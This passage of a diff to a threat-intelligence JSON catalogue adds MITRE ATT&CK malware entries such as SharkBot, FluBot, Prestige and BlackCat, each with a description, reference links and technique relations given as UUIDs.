"dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ @@ -37344,13 +39041,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", @@ -37559,6 +39249,145 @@ "uuid": "20945359-3b39-4542-85ef-08ecb4e1c174", "value": "StrongPity - S0491" }, + { + "description": "[SharkBot](https://attack.mitre.org/software/S1055) is a banking malware, first discovered in October 2021, that tries to initiate money transfers directly from compromised devices by abusing Accessibility Services.(Citation: nccgroup_sharkbot_0322)", + "meta": { + "external_id": "S1055", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S1055", + "https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/" + ], + "synonyms": [ + "SharkBot" + ] + }, + "related": [ + { + "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9cd72f5c-bec0-4f7e-bb6d-296937116291", + "value": "SharkBot - S1055" + }, { "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", "meta": { @@ -37603,13 +39432,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "98e8a977-3416-43aa-87fa-33e287e9c14c", @@ -38478,6 +40300,76 @@ "uuid": "f6d1d2cb-12f5-4221-9636-44606ea1f3f8", "value": "OSInfo - S0165" }, + { + "description": "[TianySpy](https://attack.mitre.org/software/S1056) is a mobile malware primarily spread by SMS phishing between September 30 and October 12, 2021. [TianySpy](https://attack.mitre.org/software/S1056) is believed to have targeted credentials associated with membership websites of major Japanese telecommunication services.(Citation: trendmicro_tianyspy_0122) ", + "meta": { + "external_id": "S1056", + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/software/S1056", + "https://www.trendmicro.com/en_us/research/22/a/tianyspy-malware-uses-smishing-disguised-as-message-from-telco.html" + ], + "synonyms": [ + "TianySpy" + ] + }, + "related": [ + { + "dest-uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3e091a89-a493-4a6c-8e88-d57be19bb98d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "fd6d56b2-d84e-4d2a-b37d-d4678d3e08a6", + "value": "TianySpy - S1056" + }, { "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", "meta": { @@ -38556,6 +40448,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ @@ -38735,13 +40634,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "f6ae7a52-f3b6-4525-9daf-640c083f006e", @@ -38763,6 +40655,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ @@ -38830,6 +40729,89 @@ "uuid": "3d57dcc4-be99-4613-9482-d5218f5ec13e", "value": "PolyglotDuke - S0518" }, + { + "description": "[Prestige](https://attack.mitre.org/software/S1058) ransomware has been used by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.(Citation: Microsoft Prestige ransomware October 2022)", + "meta": { + "external_id": "S1058", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1058", + "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/" + ], + "synonyms": [ + "Prestige" + ] + }, + "related": [ + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5d2be8b9-d24c-4e98-83bf-2f5f79477163", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "1da748a5-875d-4212-9222-b4c23ab861be", + "value": "Prestige - S1058" + }, { "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)", "meta": { @@ -38885,6 +40867,223 @@ "uuid": "3240cbe4-c550-443b-aa76-cc2a7058b870", "value": "SNUGRIDE - S0159" }, + { + "description": "[metaMain](https://attack.mitre.org/software/S1059) is a backdoor used by [Metador](https://attack.mitre.org/groups/G1013) to maintain long-term access to compromised machines; it has also been used to decrypt [Mafalda](https://attack.mitre.org/software/S1060) into memory.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", + "meta": { + "external_id": "S1059", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://assets.sentinelone.com/sentinellabs22/metador#page=1", + "https://attack.mitre.org/software/S1059", + "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm" + ], + "synonyms": [ + "metaMain" + ] + }, + "related": [ + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a", + "tags": [ + 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"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "df350889-4de9-44e5-8cb3-888b8343e97c", + "value": "metaMain - S1059" + }, { "description": "[DEATHRANSOM](https://attack.mitre.org/software/S0616) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://attack.mitre.org/software/S0618) and [HELLOKITTY](https://attack.mitre.org/software/S0617).(Citation: FireEye FiveHands April 2021)", "meta": { @@ -39009,6 +41208,222 @@ "uuid": "4e6b9625-bbda-4d96-a652-b3bb45453f26", "value": "RemoteCMD - S0166" }, + { + "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. [DarkTortilla](https://attack.mitre.org/software/S1066) has been used to deliver popular information stealers, RATs, and payloads such as [Agent Tesla](https://attack.mitre.org/software/S0331), AsyncRat, [NanoCore](https://attack.mitre.org/software/S0336), RedLine, [Cobalt Strike](https://attack.mitre.org/software/S0154), and Metasploit.(Citation: Secureworks DarkTortilla Aug 2022)", + "meta": { + "external_id": "S1066", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1066", + "https://www.secureworks.com/research/darktortilla-malware-analysis" + ], + "synonyms": [ + "DarkTortilla" + ] + }, + "related": [ + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5faaf81a-aa5b-4a4b-bae5-522439e068f8", + "value": "DarkTortilla - S1066" + }, { "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)", "meta": { @@ -39176,6 +41591,125 @@ "uuid": "72911fe3-f085-40f7-b4f2-f25a4221fe44", "value": "FoggyWeb - S0661" }, + { + "description": "[FluBot](https://attack.mitre.org/software/S1067) is a multi-purpose mobile banking malware that was first observed in Spain in late 2020. It primarily spread through European countries using a variety of SMS phishing messages in multiple languages.(Citation: proofpoint_flubot_0421)(Citation: bitdefender_flubot_0524)", + "meta": { + "external_id": "S1067", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S1067", + "https://www.bitdefender.com/blog/labs/new-flubot-campaign-sweeps-through-europe-targeting-android-and-ios-users-alike/", + "https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon" + ], + "synonyms": [ + "FluBot" + ] + }, + "related": [ + { + "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24a77e53-0751-46fc-b207-99378fb35c08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5ca3c7ec-55b2-4587-9376-cf6c96f8047a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f5ff006c-702f-4ded-8e60-ca6c540d91bc", + "value": "FluBot - S1067" + }, { "description": "[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)", "meta": { @@ -39564,6 +42098,171 @@ "uuid": "f464354c-7103-47c6-969b-8766f0157ed2", "value": "FIVEHANDS - S0618" }, + { + "description": "[BlackCat](https://attack.mitre.org/software/S1068) is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, [BlackCat](https://attack.mitre.org/software/S1068) has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)(Citation: ACSC BlackCat Apr 2022)", + "meta": { + "external_id": "S1068", + "mitre_platforms": [ + "Linux", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1068", + "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/", + "https://www.cyber.gov.au/acsc/view-all-content/advisories/2022-004-acsc-ransomware-profile-alphv-aka-blackcat", + "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/" + ], + "synonyms": [ + "BlackCat", + "ALPHV", + "Noberus" + ] + }, + "related": [ + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": 